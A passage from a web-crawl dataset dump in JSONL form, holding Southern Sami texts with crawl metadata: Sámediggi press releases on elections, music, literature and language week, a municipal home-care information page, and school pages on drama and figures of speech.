0.9999998807907104}","num_words":437,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mieriedimmien mietie veeljemen bïjre Saemiedægkan § 4 2. lïhtse, Saemiedigkien veeljemelåhkoe edtja dorjesovvedh aaj daan jaepien gosse lea fylhkendigkie- jïh tjïelteståvroeveeljeme. Veeljemelåhkoe edtja olkese bïejesovvedh byögkeles vuartasjæmman dan gåhkese gåarede, jïh edtja ålkone årrodh dovne veeljemebiejjien.\nJaepien 2019 veeljemelåhkoe sæjhta tjïeltide vadtasovvedh dan varke dïhte gååvnese. Dïhte minngemes mierie juktie veeljemelåhkoem registreradidh lea ruffien 30. b. 2019. Sïejhmemes akte våhkoe vaasa daan daatoen mænngan åvtelen veeljemelåhkoe lea dorjesovveme jïh riejries olkese seedtesovvedh.\nSaemieveeljemeståvroe tjïeltesne bæjhkohte gåessie jïh mennie sijjesne veeljemelåhkoe olkese bïejesåvva jïh aaj beavna luhpien bïjre jïh guktie edtja darjodh juktie krïevedh fiejlieh staeriesuvvieh. Dejnie tjïeltine gusnie voenges tsiehkieh dam krievieh, maahta bæjhkoehtimmiem darjodh goh ryöktesth bïevnese fïereguhtese mij lea veeljemelåhkoen sïjse tjaalasovveme.\nKrïevenasse staeriedimmien jïh orrestimmien bïjre diekie seedtesåvva, Saemiedigkie Ávjovárgeaidnu 50, 9730 Kárášjohka-Karasjok, e-påaste firstname.lastname@example.org. Krïevenasse edtja tjaaleldh årrodh jïh tjuara fåantoem tjïelkestidh.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.saemiedigkie.no\/Veeljeme\/Baejhkoehtimmie-Saemiedigkien-veeljemelaahkoste","date":"2019-08-22T15:29:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317274.5\/warc\/CC-MAIN-20190822151657-20190822173657-00412.warc.gz","language":"sma","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999978542327881}","num_words":128,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea voestes aejkien Saemiedigkie dan gellie ohtsemh åådtjeme bæjhkoehtimmien bïjre aerpievuekien vueleste, naakede maam Henrik Olsen tuhtjie lea joekoen sjollehke. Daate vuesehte ïedtje aerpievuekien vuelien bïjre lea stoerre.\n– Saemiedigkie åtna vihkeles bæjhkoehtimmiem aerpievuekien vueleste dåarjoehtidh, jih dan gellie bæjhkoehtimmiejgujmie sæjhta joekehtsh jih sjïerevoeth vuelien aerpievuekesne hijvenlaakan vïhtesjadtedh. Bæjhkoehtimmieh sijhtieh stoerre aarvoem utnedh dovne kultuvre- jih musihkehistovrijes, Olsen jeahta.\nUlmie bæjhkoehtimmiejgujmie lea hijven saemien musihkem eevtjedh maam jeenjesh maehtieh dååjredh.\nOrre ohtsememierie daan tjaktjen\nDaan jaepien Saemiedigkie 2,5 millijovnh kråvnah lyjkeme juktie vueliem jih saemien musihkem bæjhkoehtidh. Beetnegh göökte ohtsememierieh utnieh jih mubpie ohtsememierie lea rïhkeden 1. b. 2019. Saemiedigkie lea joe gyhtjelassh mubpien ohtsememierien bïjre åådtjeme.\n– Mijjieh gegkiestibie gellie hijven ohtsemh aaj mubpien aejkien båetieh.\nOlsen jeahta dïhte ohtsemebaseradamme öörnege bæjhkoehtæmman vueleste jih saemien musihkeste lea joekoen vihkeles saemien musihkeridie.\n– Öörnege maahta akte stoerre viehkie årrodh saemien musihkeri nuapan jienebh goltelæjjah jaksedh, Olsen jeahta.\nJis gyhtjelassh jih gihtjehtimmie, gaskesadth saemiedigkieraeriem Henrik Olsen, tlf +47 907 75 219","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Aerpievuekien-vuelien-lea-stoerre-iedtje","date":"2019-08-22T15:22:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317274.5\/warc\/CC-MAIN-20190822151657-20190822173657-00508.warc.gz","language":"sma","language_score":0.9999967813,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999967813491821}","num_words":151,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voestes statuvem saemien gujneste noelehte goevten 6. b. Vaapstesne\nJïjtjehke åssjalommese statuvasse Mildrid Hendbukt-Søbstad, Tordis Landvik, Inger Lise Strøm jïh Dag Hugo Heimstad åadtjoejin såemies jaepiej juassah gosse gaajhkesh lin vïhtesjadteme Vaapste jïh dajvh bïjre jarkan idtjin naan statuvh gujnijste utnieh, jïh dan åvteste dah eajhnadovvin maam akt dejnie darjodh.\nGuvvietjoehpije Ellen Jacobsen lea statuvem dorjeme. Ellen Jacobsen gaskem jeatjah skulptuvrem \"Fabrikkjentene, Oskar-Braaten-monumente\" Beyerbruesne Oslosne. Ellen Jacobsen lea stïeresne noelehtimmesne. Dïhte tuhtjie joekoen hijven satne barkoem åadtjoeji statuvem darjodh Elsa Laula Renbergeste.Saemiedigkie jïh Nordlaanten fylhkentjïelte leah ekonomeles dåarjoem vadteme statuvasse. Sparebankstiftelsen Helgeland lea dam stööremes dåarjoem vadteme.\nJïjtjehke noelehtimmie sjugniehtåvva Vaapsten raeriegåetien lïhke ts. 1300. Saemiedigkien stoerretjåanghkoen åvtehke Tom Sottinen noelehtimmiem dorje. Noelehtimmien mænngan lea gyrhkesjimmie Dolstaden gærhkosne.Gyrhkesjimmien mænngan rïesegh Elsa Laula Renbergen kroepten nille bïejesuvvieh.Ts.18.00 öörnedimmie sjædta Vaapsten museumisnie aktene preessebïevnesisnie öörnedæjjeste tjåådtje.\nGoevten 6. b. Rørosesne\nJenny Fjellheim Rørosen museumisnie SÁMI Ođasmagasiidnese soptseste dah sijhtieh aktem gellielaaketje programmem utnedh daan jaepien.\n– Mijjieh pryövebe faalenassem utnedh dovne maanide jïh geerve almetjidie jïh stööremes bielie sæjhta museumisnie årrodh. Mijjieh vuesiehtimmiem rïhpestibie man nomme \"Meatan laante gaarvene\", mij dorjesovvi Tråante-2017-heevehtæmman. Håkon Hermanstrand Nord universiteeteste sæjhta vuasahtallemen bïjre soptsestidh.\nLissine aelhkie gåassoehtimmie sjædta Røros-museumisnie jïh mijjieh bearkoejoptsem doekebe. Tsåahka 17.00 jïh 19.00 darjomh maanide jïh geerve almetjidie gusnie programmen mietie Gadtsegarhkh båetieh, jïh svaale Tjabph guessine båata. Desnie soptsestimmieboelhke, laavlome, vuelie jïh hævvi såemies faarhkoeh sjædta. Tsåahka 19.00 nöörjen gyrhkesjimmie sjædta hearrine Harald Haugen.\nAaj vuasahtalleme jïh jïjnje vielie Snåasesne\nBirgitta Fossum, museumen direktööre Saemien Sijtesne maahta aaj soptsestidh dej leah gellie darjomh goevten 6. b. Biejjie aalka saemiej laavloeminie jïh gaavnesjimmine saevegen lïhke Åarjel-saemiej internaaten ålkolen, dan mænngan håalome jïh laavlome Snåasen skuvlesne. Tsåahka 11.00 byögkeles rïhpestimmie vuasahtallemistie \"Båatsoe tjååhpehkisnie jïh vyölkehkisnie\" mij lea guvvieh dagke dehtie voestes saemien fotograafeste Nils Thomasson.\nTsåahka 12.00 maahta filmestuhtjetjh åarjelsaemien dajveste vuejnedh jïh tsåahka 13.00 edtja orre åarjelsaemien maanagærjah åehpiedehtedh Snåasen gærjagåetesne. Kafé Midtpunktet maahta namhtah prïhtjegem jïh gaahkoeh åadtjodh tsåahka 14.00 raejeste, jïh tsåahka 16.00 raejeste doekeme saemienlaaketje beapmoste. Akten tæjmoen mænngan dïhte byögkeles rïhpestimmie aalka kultuvrelle boelhkine, daan beajjetje håaleminie gusnie gaskem jeatjah learohkh saemienskuvleste jïh tjïelten åejvie Tone Våg håaloeh. Dïhte ellen stööremes heannadimmie lea åehpiedehteme prosjekteste \"Daan våhkoen baakoe\" mij lea 52 saemien baakoej jïh dej gaektsie jaepieboelhki almetji bïjre. Biejjie orreje gyrhkesjimmine Snåasen gærhkosne tsåahka 19.00.\nRaarvihke smaave jïh stoerre almetjidie\nBerit Ellen Gaino Jåma, Raarvihkesne soptseste dah gaskem jeatjah dejtie båarasåbpoe almetjidie bööredamme båetedh gaskebiejjiem byöpmedidh healsoejarngesne, jïh maanah åadtjoeh guessine mïnnedh giedtesne.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/samimag.no\/se\/node\/1125","date":"2019-08-18T00:56:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313536.31\/warc\/CC-MAIN-20190818002820-20190818024820-00204.warc.gz","language":"sma","language_score":0.9999104738,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999104738235474}","num_words":391,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hemtjänsten\nViehkien mietie syökedh\nDatne mij 65 jaepien båeries jallh båarasåbpoe maahtah tjïelteste viehkiem åadtjodh mejnie datne ih jïjtje buektedh darjodh. Datne maahtah viehkiem gåetievätnoejgujmie gosk dov jïjtjedh såjhtoem åadtjodh. Jis viehkiem mij datne åadtjoeh ij ryöhkh, datne maahtah syökedh dagke akten voeresgåetielåhpan åadtjoeh juhtedh.\nAajne sïsvegh\nDam viehkiem datne maahtah åadtjodh lea jïjtjesh. Naemhtie ahte viehkiem mij vedtien sjädta guktie Datne daarpesjh jih maam ih maehtieh jïjtje darjodh. Ij gåeredh öövre jiehtedh mejnie hïejmedïenesje maahta viehkiehtidh jih maam eah dah darjoeh.\nGie maahta hïejmedïenesjem åadtjodh\nDatne gie voeres, annjebodts skïemtjes jallh jeatjah fysisken, psykisken jallh sosialen mietie ih jïjtje maehtieh fïerhten beajjetji darjomh darjodh maahtah hïejmedïenesjem åadtjodh. Gåessie Datne hïejmedïenesjen mietie syökeme tjuara akten dööpmemem dov daerpiesvoeteste darjodh. Hïejmedïenesjem ij gan akten hävvi reakta.\nDaerpiesvoetedööpmemem, mij Datne jih dov viehkiegïetedallijem ektesne darjoejägan, akten nännoestämman männgan sjädta.\nSosialen ektievoetem\nSosialen ektievoetem aaj akten hammoem såjhtoste lea. Dïhte maahta årrodh ahte datne akten vaedsemem vaaltah jallh hïejmedïenesjebarkijigujmie plaeriem lohkh.Hïejmedïenesjebarkijidie maehtieh aaj datnem viehkiehtidh gaskesadtem siebriejgujmie, gärkoejgujmie jih jienebe åadtjodh jallh dutnjien soptsestidh mij tjïeltesne kultuvre- jih eejehtallemedarjomisnie heannede. Gåetien darjomh, lihtiebïssemem, bïssemem, jalkesjimmiem jih sjeakomem leah barkoeh mejnie hïejmedïenesjebarkijh maehtieh datnem viehkiedidh. Ahte raajnes jih tjaebpies gåetesne maahta hijven årrodh jis buerielaakan tröjjes, menh aaj löövles jih aehpie darjomh jis barkoes fysijhkine jih håajsodh. Datne jïjtje sjeakomedeerpegh jih bïsseme aath åtnah.\nJearsoesvoetelarme\nJis datne bïllh ihke mijakt edtja Datnem heannadidh jih Datne varki jih aelhkies säjhta viehkien mietie tjåarvodh, Datne maahtah viehkiegïetedallijen luvnie syökedh ihke jearsoesvoetelarmem åadtjodh.\nDaalhkesi barkoeh\nGåetesne gåebpegh laantedigkien dajvesåjhterijstie jih tjïelten hïejmeskïemtjesåjhtoste maehtieh daejtie åadtjodh.\nMaadtoem laakeste\nDaam viehkiem mah tjïelten hïejmedïenesje jih hïejmeskïemtjesåjtoem maehtieh Datnem veedtedh göökte laaki maadtojste leah; Sosialedïenesjelaakem mij datnem reakta vadta datnem viehkien mietie syökedh jis jïjtsh såjhtojne viehkiem daarpesjh. Healsoejih Skïemtjesåjhtoelaakem jis Datne daerpiesvoetem daalhkese såjhtoste daarpesjh.\nÅasah\nOlkese vaeltien goh jïjnjemesåasam (maksetaaksam) voeresalmetjidie. Vuartesjh sjïere plaeriem åasan bïjre.\nSyökemem\nSyökemem daase darjoen:\nGïetedallijeaktesem Voeres- jih Ov-vervienhoksem mah tjïelkestägan jih nännoestimmiem deadta.\nDatne maahtah laejhtedh\nJis datne nyöjhkemem abpe jallh biehkieh Dov Syökemistie hïejmedïenesjen bïjre åadtjoeh Datne maahtah Leenereaktese laejhtedh. Laejhtemem edtja tjaaleldh darjodh jih tjïeltese båateme eannan golme våhkoeh vaaseme, raajeste gosse nännoetimmiem åådtjeme. Jis datne viehkiem daarpesjh juktie laejhtedh, viehkiegïetedallije tjuara Datnem dejnie viehkiehtidh.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.vilhelmina.se\/omsorg-och-hjaelp\/information-paa-samiska\/aeldreomsorg-paa-sydsamiska\/hemtjaensten\/","date":"2019-09-22T18:37:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575627.91\/warc\/CC-MAIN-20190922180536-20190922202536-00488.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":364,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie 8,2 millijovnh kråvnah dåårje orre bæjhkoehtimmide saemien lidteratuvreste, jïh 9,5 millijovnh kråvnah saemien gærjabusside.\n–Mijjen ulmie lea jienebh lohkijh saemien lidteratuvreste åadtjodh, stoerre veahka saemien lidteratuvreste gaajhkesidie jïh saemien lidteratuvre lea våajnoes jïh åehpies lohkijidie. Juktie daejtie ulmide jaksedh tjoerebe goerehtidh guktie mijjieh maehtebe dan jïjnjem åadtjodh daejstie beetnegijstie goh gåarede, mejtie lidteratuvresuerkesne nuhtjebe, saemiedigkieraerie Henrik Olsen jeahta.\nOlsen jeahta gærjabussh aktem vihkeles råållam utnieh saemien lidteratuvrem jïh kultuvrem geerjehtidh saemien dajvine, men seamma tïjjen ajve gaskem 5 jïh 10 prosenth våarhkoste gærjabussesne leah saemiengïeleldh gærjah jïh löönedimmie saemien lidteratuvreste lea gaajh vuelehke.\n–Saemiedigkieraerie dan åvteste raereste beagkoehtimmiebarkoeh tseegkedh åarjel- jïh julevsaemien dajvesne, mah edtjieh bïhkedimmine jïh beagkoehtimmine saemien lidteratuvreste eadtjohkelaakan barkedh. Dah edtjieh daajroem lissiehtidh saemien lidteratuvren jïh kultuvren bïjre, gærjagåetine, maanagïertine jïh skuvline. Lissine sïjhtebe dåarjoem lissiehtidh orre bæjhkoehtimmide jïh jarkoestæmman saemien lidteratuvreste, Olsen jeahta.\nTjïelti lea dïedte hijven gærjagåetiedïenesjh faalehtidh sijjen årroejidie. Saemiedigkien laavenjasse lea hijven produksjovnemierieh sjugniedidh orre saemien lidteratuvreste jïh naemhtie saemien gïelh jïh kultuvrem nænnoestehtedh.\n–Gærjagåetie tjuara aktem hijven faalenassem saemien årroejidie utnedh jïh gærjagåetide evtiedidh guktie dah gaavnedimmiesijjine sjidtieh saemien darjoemidie. Daate sæjhta jiehtedh orre saemien lidteratuvrem åestedh jïh eadtjohkelaakan saemien kultuvrem jïh lidteratuvrem beagkoehtidh. Daelie gosse guhkiem aktem tjarke giehpiedimmiem dååjreme mijjen kultuvrebudsjedtine tjoerebe veelelaakan vuarjasjidh mij mijjen aalkoelaavenjasse lea jïh maam jeatjah aktöörh utnieh goh sijjen laavenjassh laaken mietie, Olsen jeahta.\nVielie bïevnesh: Saemiedigkieraerie Henrik Olsen, 907 75 219\nGuvvieh Olsenistie jïh saemiedigkieraereste leah daesnie,jïh maehtieh frijjelaakan åtnasovvedh jis soptseste gubpede guvvie båata","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Produksjovnem-jih-beagkoehtimmiem-saemien-lidteratuvreste-naennoestahta","date":"2019-09-20T10:34:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573988.33\/warc\/CC-MAIN-20190920092800-20190920114800-00025.warc.gz","language":"sma","language_score":1.0000030994,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000030994415283}","num_words":236,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie maahta stoerre aavojne bievnedh Gånkangåetie lea sïjhteme meatan årrodh mïerhkesjimmesne gïelevåhkoste. Altese Majesteete Gånka Harald sæjhta meatan årrodh öörnedimmesne gïelevåhkoen sjïekenisnie Karasjohkesne golken 24. b. Öörnedimmesne Gånka sæjhta gaskem jeatjah Karasjohken maadthskuvlesne mïnnedh jïh Gïelelutnjemen gïeleåasam vitnijasse deelledh. Daate akte eevre orre gïeleåasa, gusnie Saemiedigkie sæjhta aktöörh, jielemem jallh siebrieh earoehtidh mah viehkiehtieh saemien gïelh våajnoes darjodh voengesne jïh nasjonaale daltesisnie.\n– Manne gegkestem gaajhkesh dovnesh, goh Altese Majesteete Gånka Harald, meatan sjidtieh gïelevåhkoem mïerhkesjieh ovmessie öörnedimmine gïelevåhkoen, saemiedigkiepresidente Aili Keskitalo jeahta.\nSaemiedigkie skraejriem vaalteme akten nasjonaale saemien gïelevåhkose golken 21. – 27. b. Gïelevåhkoe akte bielie Saemiedigkien guhkiebasse gïelebarkoste – Gïelelutnjeme, jïh aaj bielie Saemiedigkien mïerhkesjimmeste EN:n gaskenasjonaale jaepeste aalkoealmetjegielide – ILYL19.\n– Saemien lea jienebelåhkoengïele Karasjohkesne, men tuhtjebe læjhkan joekoen vihkeles saemien våajnoes darjodh dovne bovrine, maanagiertine, skuvlesne jïh jeatjah sijjine mijjen tjïeltesne. Mijjieh aavoedibie Altese Majesteete Gånkese dam barkoem vuesiehtidh maam darjobe saemien gïelen åvteste Karasjohkesne, tjïelten åejvie Svein Atle Somby jeahta.\nGïelevåhkoen våarome lea saemien gïelh våajnoes darjodh abpe siebriedahkesne. Saemiedigkie lea privaate jïh byögkeles aktöörh, jielemem, siebrieh jïh voenges aktöörh haasteme meatan sjïdtedh daennie gieltegs barkosne. Mijjieh libie haasteme mïerhkesjimmieh, darjomh jïh jeatjah råajvarimmieh tjïrrehtidh juktie saemien gïelh våajnoes darjodh.\nGïelevåhkosne sæjhta gellie ovmessie öörnedimmieh jïh darjomh årrodh bïjre jarkan laantesne, jïh aaj Saepmien såevmien bielesne.\n– Programmh dejtie ovmessie mïerhkesjimmide bïjre jarkan laantesne eah leah gaervies annje, men vååjnoe goh stoerre ïedtje gïelevåhkoem mïerhkesjidh, jïh mijjieh gellie öörnedimmieh veanhtadibie. Manne tjarke aavodem, jïh saemiedigkieraerie sæjhta meatan årrodh dan gelline öörnedimmine goh gåarede dan våhkoen, Aili Keskitalo jeahta.\nRomsan jïh Finnmaarhken fylhkenålma bïevnesh akkrediteradimmien bïjre olkese seedtie skïereden minngemossesne.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Altese-Majesteete-Gaanka-Harald-lea-meatan-mierhkesjimmesne-saemien-gielevaahkoste-Karasjohkesne-golken-24.-b","date":"2019-09-20T20:23:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574077.39\/warc\/CC-MAIN-20190920200607-20190920222607-00167.warc.gz","language":"sma","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999984502792358}","num_words":256,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellie almetjh maehtieh meatan draamesne årrodh. Dah unnebe jallh stuerebe råållah utnieh. Dah maehtieh draaman mietie jorkesidh jallh dah maehtieh seammalaakan draaman tjïrrh årrodh.\nÅejvie-almetjh\nÅejvie-almetjh draamesne leah dah mah mijjieh dååjrebe vihkielommes draamesne. Naan dorjehtimmesne lea akte tjïelkes åejvie-almetje, jïh jeatjah dorjehtimmine dellie gellie almetjh seamma vihkeles. Shakespearen dorjehtimmesne \"Romeo jïh Julia\" lea dovne Romeo jïh Julia åejvie-almetjh. Gåabpatjahkh seamma ulmiem utniejægan, dah guaktah sïjhtijægan aktine jieledh, jïh dah gaajhkem darjoejægan guktie ulmiem jaksedh.\nDah mubpieh almetjh draamesne\nDah mubpieh almetjh draamesne karakteerh, mah eah leah dorjehtimmien jarngesne. Daamhtaj dah aelhkies karakteerh mah eah dorjehtimmien mietie skearkegh. Men dah åejvie-almetjem viehkiehtieh dahkoem skaepiedidh.\nBaakoeh\n|Saemien||Daaroen|\n|mubpieh almetjh||bipersoner|\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306\/resource:1:174839","date":"2019-09-22T05:01:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575076.30\/warc\/CC-MAIN-20190922032904-20190922054904-00241.warc.gz","language":"sma","language_score":0.9999499321,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999499320983887}","num_words":110,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Saemien tjeahpoe jïh saemien tjiehpiedæjjah leah vihkeles dåarjoehtæjjah juktie saemien siebriedahkem våajnoes darjodh jïh dam evtiedidh, jïh manne aavone jïh garmeres saemien tjeahpoe lea jïjtjemse joekoen hijvenlaakan åehpiedahteme, dovne voenges, nasjonaale jïh gaskenasjonaale sijjesne dej minngemes jaepiej, saemiedigkieraerie Henrik Olsen jeahta.\nTjiehpiedæjjalatjkoen mierie lea 8.570.000 kråvnah, mij lea akte lissiehtimmie 220 000 kråvnine.\nVierhtieh lyjkesovveme gïehtelæmman Saemien tjiehpiedæjjaraereste jïh doh govhte tjiehpiedæjjasiebrijste, mah leah ektiedamme tjiehpiedæjjaraaran, tjeaphpoefoentese jïh vuesiehtimmiemaaksose. Guejmieh aaj latjkosne seamadamme prioriteradidh jïh vielie vierhtieh tjiehpiedæjjastipendide læjkodh.\nGuejmieh aaj sïemes laavenjostoem guhkiebasse evtiedidh, jïh leah aalkeme akten orre 4-jaepien laavenjostoelatjkoen bïjre barkedh.\n– Laavenjostoelatjkoe Saemiedigkien jïh Saemien tjiehpiedæjjaraerien gaskem mijjen tjiehpiedæjjide stoerre tsevtsemefaamoem vadta juktie saemien tjeahpoejieledem evtiedidh, jïh viehkehte sjïehteladtedh guktie saemien tjeahpoe jïh saemien tjiehpiedæjjah hijven mieriekrïevenassh åadtjoeh, saemiedigkieraerie Henrik Olsen jeahta.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Henrik Olsen, +47 907 75 219","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/PRM-Siemes-Tjiehpiedaejjalatjkoen-2020-bijre","date":"2019-10-13T22:16:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986648343.8\/warc\/CC-MAIN-20191013221144-20191014004144-00428.warc.gz","language":"sma","language_score":0.9999973774,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999973773956299}","num_words":133,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.248,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maam tjoerh ussjedidh gosse edtjh njaalmeldh åehpiedehtemem vuarjasjidh. Daesnie naan raerieh gosse edtjh mubpiej åehpiedehtemem vuarjasjidh. Dah leah v.g. soptsestæjja gïelem sov goltelæjjide sjïehtedamme? Mah kråahpegïeline jeahta? Gaajhkesh goltelieh maam jeahta?\nÅehpiedehtemem vuarjasjidh\nDan nuelesne naan raerieh gåessie datne edtjh jeatjebi åehpiedehtemem vuarjasjidh:\nSisvege\nAamhtesem njaalmeldh åehpiedehtiemasse sjïehtedamme? Goltelæjjah sisvegem guarkoeh? Seedtije naan gïerve jallh ammes baakoeh nuhtjie, mah gïerve guarkedh?\nGoltelæjjide gutnede?\nSeedtije goltelæjjide gutnede jis goltelieh jïh guarkoeh maam jeahta?\nGïele-åtnoe\nGovlh seedtijem? Gaajhkesh dam guvlieh? Sjïehteles gïeline soptseste?\nKråahpe-gïele\nSeedtije ïedtjem tjïelkelaakan goltelæjjide buakta?\nGovlesadtedhKjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:164987\/topic:1:161361\/resource:1:163216","date":"2019-11-18T17:51:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669809.82\/warc\/CC-MAIN-20191118154801-20191118182801-00311.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":88,"character_repetition_ratio":0.118,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Metonymijem jïh synekdokem maehtebe gïeleviehkie-dïrreginie nuhtjedh. Gosse daejtie gïeleviehkie-dirregidie nuhtjebe dellie jortehtibie.\nGosse akte baakoe orre sisvegem åådtje, dellie mijjieh gïeleviehkie-dïrregem metonymijem nuhtjebe. Jis mijjieh plaerieh lohkebe dellie metonymijh joekoen sïejhme daaroen-gïelesne.\nGïehtjedh vuesiehtimmide:\nÅarjel-Trøndelaage gulliem vitni.\nDellie fylkhen nomme soptseste gubpede almetjh böötin mah vitnin, jïh dellie fylhken nomme mentonymijinie sjædta.\nSlåahte aktem presse-bïevnesem seedti.\nGosse mijjieh baakoem slåahtem lohkebe daennie raajesisnie dellie mijjieh guarkebe slåahte lea gånka jïh dan fuelhkie.\nHarald Gaski gærjesne Med ord skal tyvene fordrives tjaala Jakob Fellman metonymijem nuhtjeme vuelesne Soelege jïh nåejtie. Gaski tjaala nåejtie lea aalkoe-almetjh (saemieh) jïh soelege lea almetjh mah saapman båetieh jïh sijhtieh eatnemem vaeltedh.\nSynekdoke\nGosse mijjieh synekdokem nuhtjebe dellie mijjieh aaj jortehtibie. Synekdoke lea jis mijjieh biehkiem mestie akt neebnebe gosse edtjebe elliesvoetem buerkiestidh. Maehtebe dam vuekiem nuhtjedh gosse edtjebe giem akt ållermaehtedh.\nSigle-vïnhtsem maehtebe gåhtjodh: veelkes siglh\nBaakoe\nSaemien\nDaaroen\nelliesvoete\nhelhet\nAllegorijeKjernestoff\nAllusjovneKjernestoff\nEufemisme jïh dysfemismeKjernestoff\nSealoedimmieKjernestoff\nLaejhtehkeKjernestoff\nRijme jïh jievkehtimmieKjernestoff\nMubpesth jiehtedhKjernestoff\nKontrasteKjernestoff\n- Kjernestoff\nPersonifikasjovneKjernestoff\nViertiestimmie, metafovre jïh klisjeKjernestoff\nSymbolhKjernestoff\nLaavenjassh: AllegorijeKjernestoff\nLaavenjassh: Eufemisme jïh dysfemismeKjernestoff\nLaavenjassh: SealoedimmieKjernestoff\nLaavenjassh: KontrasteKjernestoff\nLaavenjassh: Mubpesth jiehtedhKjernestoff\nLaavenjassh: PersonifikasjovneKjernestoff\nLaavenjassh: SymbolhKjernestoff\nMan jïjnjem maahtah?Kjernestoff\nMaam maahtah?Kjernestoff","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:166611\/topic:1:182229\/resource:1:163652","date":"2019-11-19T06:21:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670006.89\/warc\/CC-MAIN-20191119042928-20191119070928-00515.warc.gz","language":"sma","language_score":0.9995790124,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9995790123939514}","num_words":188,"character_repetition_ratio":0.126,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.101,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelevåhkoen sjïekenisnie Saemiedigkie lea applikasjovnem evtiedamme mij uvtemes lea ussjedamme maanagïertemaanide jïh maadthskuvlen learoehkidie. Ulmie appine lea gaajhkide maanagïertemaanide jïh maadthskuvlen learoehkidie 10\/20 baakoeh saemien gïeline 